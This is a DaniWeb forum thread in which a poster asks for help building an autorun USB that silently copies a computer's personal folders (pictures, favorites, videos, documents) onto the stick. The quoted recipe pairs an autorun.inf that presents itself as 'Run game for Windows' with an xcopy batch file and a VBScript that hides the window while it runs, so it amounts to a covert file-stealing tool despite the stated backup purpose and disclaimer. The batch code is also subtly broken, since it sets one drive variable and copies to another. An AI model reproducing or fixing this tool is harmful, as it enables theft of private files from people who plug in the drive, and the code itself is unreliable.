shell-scripting @ DaniWeb - Hello fellow members, I would like to ask for your assistance in creating a batch/autorun/exe file which can help me to make an autorun usb.

So basically, I would like the USB to do the following:

When usb is inserted, it should autorun and copy files from the computer. The files which I would like to be copied would be, my documents, pictures, favorites, etc. In other words, the part of the C: Drive which the user has editied. (MOSTLY THE DOCUMENTS). I would find this useful, as when backup is needed for any of my computers I could just plug in my usb, and it will do all the work for me. This program is intended for educational purposes only, and any illegal use of it will not be permissive. Also, anyone who posts will not be held accountable if so were to happen.


I have found this, but unsure whether this would work properly, I believe it has some errors.

Step 1:

Insert USB

Step 2:

action=Click ok to Run game for Windows

When finished Save As.. and name file autorun change
the extention to .inf

Step 3:

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off

Save as.. and name file change extention to .bat

Step 4:

CreateObject("Wscript.Shell").Run """" &
WScript.Arguments(0) & """", 0, False

save as.. and name invisible change the extension to .vbs

Step 5:

wscript.exe \invisible.vbs file.bat

Save as.. "launch" change extension to .bat


Edited 4 Years Ago by JavaPrograms: n/a

This may work but i don't understand step:4...
rather than using this irritating batch files use Auto USB Copy software.

This article has been dead for over six months. Start a new discussion instead.